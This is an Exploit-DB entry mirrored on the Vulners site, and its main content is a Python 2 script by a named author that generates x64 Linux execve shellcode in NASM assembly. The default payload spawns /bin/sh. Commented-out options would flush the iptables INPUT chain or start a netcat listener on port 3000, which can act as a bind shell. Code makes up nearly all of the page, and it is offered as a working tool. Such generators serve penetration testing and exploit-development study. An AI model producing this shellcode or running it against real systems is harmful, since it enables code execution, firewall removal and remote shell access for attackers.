Lucene search
K

Linux/x64 - x64 Assembly Shellcode (Generator)

🗓️ 11 Apr 2018 00:00:00Reported by Exploit-DBType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

x64 Assembly Shellcode Generator for Linu

Code
#!/usr/bin/env python
#
# Features:
#	- Linux shellcode x64 assembly code generation
#	- stack based (smaller payload size)
# 	- execve based
#	- supports long commands (meaning bigger than an x64 register - 64 bits)
#	- supports long parameters (meaning bigger than an x64 register - 64 bits)
#	- one command only (execve will alter the current memory proc and when it exits there's no continuation)
#	- supports command with up to 8 parameters
#
# Instructions
#	- requires full path to the command
#	- only one command is supported due to execve transforming the current process into a new one, loosing all previous context (any other instructions that would have been executed)
#	- after having the x64 generated assembly code:
#		- copy paste it into a file (in a Linux environment) - example.nasm
#		- execute:
#			nasm -felf64 example.nasm -o example.o && ld example.o -o example
#
# Author: Andre Lima @0x4ndr3
#	https://pentesterslife.blog
#
########

command = "/bin/sh"
#command = "/sbin/iptables -F INPUT"
#command = "/bin/nc -lvp 3000"
#command = "/bin/echo 1 2 3 4 5 6 7 longparamparamparam"

def tohex(val, nbits):
	return hex((val + (1 << nbits)) % (1 << nbits))

code = ""
code += "global _start\n"
code += "section .text\n"
code += "\n"
code += "_start:\n"
code += "push 59\n"
code += "pop rax\n"
code += "cdq\n"
code += "push rdx\n"

params = command.split(' ')
try:
	params.remove('') # in case of multiple spaces in between params in the command - cleanup
except: # it throws an exception if it doesn't finds one
	pass

if len(params[0]) % 8 != 0:
	command = "/"*(8-len(params[0])%8) + params[0]

iters = len(command)/8 - 1
while iters >= 0:
	block = command[iters*8:iters*8+8]
	code += "mov rbx, 0x" + block[::-1].encode("hex") + "\n"
	code += "push rbx\n"
	iters -= 1

code += "push rsp\n"
code += "pop rdi\n"

aux_regs = ["r8","r9","r10","r11","r12","r13","r14","r15"]
i = 0
params = params[1:] # remove first element - command itself. we just want the params
if len(params) > len(aux_regs):
	print "More than " + str(len(aux_regs)) + " parameters... Unsupported."
	exit(1)
for p in params:
	code += "push rdx\n"
	if len(p) % 8 != 0:
		p += "\x00"*(8-len(p)%8)
	iters = len(p)/8 -1
	while iters >= 0: # each param
		block = p[iters*8:iters*8+8]
		code += "mov rbx, 0x" + tohex(~int(block[::-1].encode("hex"),16),64)[2:2+16] + "\n"
		code += "not rbx\n"
		code += "push rbx\n"
		iters -= 1
	code += "push rsp\n"
	code += "pop " + aux_regs[i] + "\n"
	i += 1

code += "push rdx\n"
code += "push rsp\n"
code += "pop rdx\n"

while i>0:
	i -= 1
	code += "push " + aux_regs[i] + "\n"

code += "push rdi\n"
code += "push rsp\n"
code += "pop rsi\n"
code += "syscall\n"

print code

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Apr 2018 00:00Current
0.1Low risk
Vulners AI Score0.1
30